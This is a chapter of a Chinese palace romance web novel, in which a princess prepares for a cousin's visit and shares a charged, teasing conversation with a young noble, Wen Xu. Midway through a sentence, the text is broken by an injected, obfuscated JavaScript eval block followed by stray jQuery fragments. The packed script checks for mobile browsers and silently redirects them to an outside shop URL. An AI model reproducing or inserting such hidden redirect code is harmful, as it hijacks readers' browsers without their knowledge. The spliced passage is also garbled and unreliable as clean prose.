24. 心跳微乱
    “明日长公主要来宫里贺喜,公主可要提前准备好衣裳?”把斟好的茶递到江黎手边,玉簪立在她身侧,开口询问。

    茶水在青花瓷杯子里晃荡了几圈,随后滑入喉咙,微苦回甘。江黎扭头看向她,颇有些意外:“什么事儿引得姑母大动干戈?时至今日,本宫竟没得到半点消息。”

    “说起来,长公主此番进宫,还是为了向您道喜呢。”

    看着她迷糊的摸样,玉簪忍不住掩唇轻笑,语气中带了些骄傲,颇有些荣辱与共的意思,“亩产百斤可不是件小事儿——据说,长公主刚得知这消息时愣是不信,以为是坊间百姓胡乱的吹嘘;几日前,吩咐驸马同陛下再三确认后,才终于定下心来。”

    “姑母真是有心了。”

    “是呐,除了郡主,长公主最关心的便是公主了。”望着她这段时日因忙碌而减下来的婴儿肥,玉簪不由得摇头叹息,语气里多了几分埋怨的意思,“看到您瘦了许多,长公主定要心疼。”

    “诶呀,既然如此,明日的衣裳就劳烦玉簪多操心吧。”江黎毫无心理负担地当起了甩手掌柜,托着下巴望向一脸无奈的大宫女,“毕竟,思考服装配饰,也是会让本宫头疼的事呢。”

    “是么?看来公主是不打算好好打扮了。”宫女耸了耸肩,嘴角带着若有若无的笑意,“只怕到时候会后悔。”

    “你这是什么意思?”看着她故弄玄虚的模样,江黎的脑海中忽然灵光一现,“难道说……‘她’也要过来?”

    玉簪长长的哦了一声,摆出恍然大悟的样子:“公主问的可是永嘉郡主?可不是嘛!这般重要的喜事儿,郡主自然会一道来的。”

    “好你个玉簪,竟胆敢对本宫下套,真是欠收拾!”

    “奴婢知错了。”她从善如流地道着歉,把剥好的一小碗葡萄递到江黎手边,“看在它的份上,公主能否通融?”

    呈莲花瓣状的水晶碗中,晶莹剔透的淡绿色果肉微微颤动;若是仔细看,还能发现隐隐有白汽从其上冒出,不禁让她想起动身前的一段时间里,帝星颇为流行的冰镇史莱姆果冻。

    虽然自己之前一直对那种小玩意儿没什么兴趣,但在没有冷气的古代,这一叠东西,确实让她可耻地心动了。

    江黎的手指贴上水晶碗,心想,如今的自己,也许已经能理解为什么在酷暑的街边小店里,那些冰冰凉凉的小零嘴总能轻而易举地成为夏季爆款了。

    她捻起一颗放入嘴里,轻轻一咬,清甜甘冽的汁水立刻充满整个口腔,让人不由得幸福地眯起眼睛。

    “唔,那就原谅你好了。”女孩含糊不清地说,“至于衣裳嘛,本宫会亲自准备的。”

    “诶?”

    “哼,永嘉已有一月不来寻我,怕是忘了宫里还有个妹妹。”

    江黎咽下最后一颗葡萄,有些意犹未尽地舔了舔嘴唇,在宫女端来的盆子里洗净了手,随后小女儿家似的端起了架子。

    坐到铜镜面前,打开精致的首饰盒,她招呼道,“玉簪,你看看哪个合适?本宫在明日一定要好好打扮,惊艳四座——让她为前几日错失与京城第一美人独处的机会而痛哭流涕。”

    听到了气鼓鼓的少女自封的称号,玉簪不由得被逗笑。她伸出三指,故意作出一本正经的样子对天发誓:“公主放心,奴婢定会和各位姐姐妹妹把您打扮得漂漂亮亮,让永嘉郡主追悔莫及。”

    “很好!”

    虽然嘴上说得好听,但江黎也明白,自己对穿搭之类的东西确实不在行。虽然最后的方案大部分都采纳了玉簪的意见,但待她彻底挑选完毕,也已是半个时辰之后的事儿了。

    疲惫感悄无声息地浮上身来,江黎坐到榻上,闭了眼,柔若无骨的素手抚上额头,似是想缓解自己紧绷的神经。

    心思玲珑的宫女看出了她的兴致缺缺,悄悄走到殿外,不再打扰困倦的少女。

    *

    “公主回来了?”

    玉簪对他行了一礼,随后压低声音:“温公子。”

    在休息?

    他动了动嘴唇,没有出声。

    是。

    宫女点头。

    温珝退后一步,正打算转身离去,忽听得屋内的床板发出咯吱一声轻响。随后,少女黏黏糊糊的声音传来,像汤勺搅动着一锅热乎乎的糖浆,“玉簪,是有人吗?”

    “温公子,”看出他脸上的犹豫,玉簪笑着示意他进去,“公主睡了许久,也差不多该起来,放心进去吧。”

    “吱呀——”

    推门声如一道不容置喙的宣判,让在赖床与起床间纠结的少女蹙起眉,她沉沉叹了口气,勉为其难地接受了自己不得不起身的事实。

    灿烂的阳光斜斜地照进屋内,一室亮堂、甚至有些炫目了;抬手挡去一部分光,她从交错的阴影里艰难地睁开眼。

    透过细细的指缝,江黎看清了来人:

    逆光行走的少年轩然霞举,即使是一身素色绸衣,也掩盖不了他由内而外散发出的贵气。大概是被江黎小猫似的懒散模样逗笑了,他的肩膀微微耸动着,却不出声。

    竟敢嘲笑自己?

    她坐起身,长发散落在肩头,微微有些不爽——

    搞什么嘛?任谁被迫熬大夜后在白天补觉,不管睡多久,恐怕都是会心怀不满的吧!

    “喂,我说……”起床气还没消散,少女的语气比起平时也冲了不少,“你这表情是什么意思?”

    “日光耀眼,恐怕是公主看错了。”应付这种情况,温珝可谓是非常有经验,他脸不红心不跳地扯了个谎,随后态度极其良好地道歉,“不过,是微臣打搅了公主休息,还望海涵。”

    “哦。”江黎半信半疑地点了点头,屈膝抱着被子不再言语,等待自己的身体从待机切换成运行模式。

    “公主还想休息么?”少年扭头看向门口的位置,似乎是在留下与离开间犹豫。

    “来都来了,走什么。”

    ……若不是你,本宫也没必要这么早起来。

    她烦躁地把头埋进被子里,随手一指,“坐!”

    “嗯。”

    温珝一向平稳的声线听起来似乎有些颤抖,也许是在取笑自己;但她的脑子如今混混沌沌,如浆糊一般,实在是没有力气抬头确认。

    过了许久,有只手隔着布料拍了拍她:“公主,天气干燥,起来用些茶水。”

    “哦……”江黎慢悠悠晃了晃脑袋,把头枕在左手臂上,“给我吧。”

    温度适中的绿茶冲淡了她的困意,少女掩唇打了个哈欠,潮湿的眼睛眨巴着:“是父皇让你传达什么事吗?趁着我还清醒,快些交代清楚。”

    “并无。”少年含笑注视着她,“这几天总见不到公主,也常常听玉簪姑娘说些‘不肯好好用膳’之类的话;再加上昨夜公主又被陛下召去御书房分配了任务,未免有些担心。”

    “哪有不肯吃饭……”江黎暗自嘟哝了几声,随后不满地抬起下巴就要反驳,却一下子撞入少年关切的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579661|140882||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眼中。

    大概是靠得更近了,她清晰地看到,对方琥珀色的眼眸里满满都是自己,半点也没分给其他东西。他认真地注视着露出不以为意表情的少女,嘴角因担忧微微撇下,但终究没有再说些什么。

    向来伶牙俐齿的江黎突然卡了壳,刚要脱口而出的话也彻底忘了个干净。

    “咳……是有好好吃饭的,只不过最近忙了些。”她不自在地抿了抿唇,扭过头去,脸上莫名腾起一股热气,“玉簪尽会在背后编排本宫,下次可别被她骗了。”

    “如此便好。”少年低眉浅笑,自然地顺走江黎手中见底的茶杯。

    滚烫的指尖一触即逝,但被接触碰过的那片肌肤,温度却在一点一点攀升。少女的手指不自然地蜷了蜷,随后如蜗牛接触到刺激性的物质一般,迅速缩进袖子里。

    “还渴么?”

    “不了。”她干巴巴地回答。

    见她确实没有再要喝水的意思,温珝挑了个离她最近的位置坐下,但即便如此,比起方才也多了不止一点的距离。

    阻挡自己呼吸的一层薄膜似乎在瞬间被撤走了,微乱的心跳也逐步恢复正常。虽然刚才的反应让江黎有些奇怪与陌生,但不知怎的,一向喜欢刨根究底的她却有些抗拒去主动探究更深层次的原因。

    罢了,她想,小事而已,没必要放在心上。

    “公主似乎很高兴?”

    少年人的声音如山间清泉般悦耳,空谷幽兰般缥缈。江黎回神,盯了他片刻,才出声回答。

    “明日,永嘉便要来了。”

    温珝思索许久,翻翻捡捡,终于从记忆的褶皱里拾出了这个名字:似乎是长公主的掌上明珠,已经好久不来宫里了;虽然记不清那人的样子、也搞不清其中的缘由,但她在京城的确有着“美人”的称号;至于风评么……

    他瞥了眼来不及收回笑容的少女,没有说话。

    只要能让公主开心,她到底是个什么样的人,自己并不介意。

    见少年问完自己,又变回了那副寡言少语的模样,如天边的谪仙遥不可及,江黎心中忽地生出几分恶趣味,偏偏想要看他面红耳赤、百口莫辩的模样。

    “啊呀……”

    她突然拖着长长的调子,一副极力引起旁人注意的模样。待温珝配合地把目光投过来,才肯继续说下去,“你也知道吧,永嘉郡主长得不赖,长公主待小辈也很是和善。若是喜欢……本宫便自降身份做半日红娘,给你们牵线搭桥,如何?”

    并没有像江黎想象中那样羞得满面春色,温珝沉沉地盯着她,直到她心里发毛,才垂下眼睫:“公主本就是悬于夜空的明月,人人皆需仰首才得以一见,何必自降身份?”

    “……”

    “若是公主厌弃了在下,也不必看在陛下的面子上拐弯抹角,直说便是。”

    “我……我开玩笑的,你别当真。”

    见温珝沉默不语,江黎只好慢吞吞下了床,伸手揉了揉他的头发,轻声哄他:“别生气了,行吗?”

    温珝轻轻握住她纤细的手腕,从自己的乌发边移开,声音淡淡:“公主,微臣寄人篱下,最是听不得这种玩笑的。”

    “你现在还生气么?”少女试图抽回手,但发现自己似乎挣脱不了束缚,她有些闷闷不乐地甩了甩另一侧的袖子,开始耍赖,“但你可别忘了,方才是谁打扰本宫休息的呀!”

    “嗯……”少年低低应了声,恋恋不舍地松开对她的禁锢,“就算扯平了。”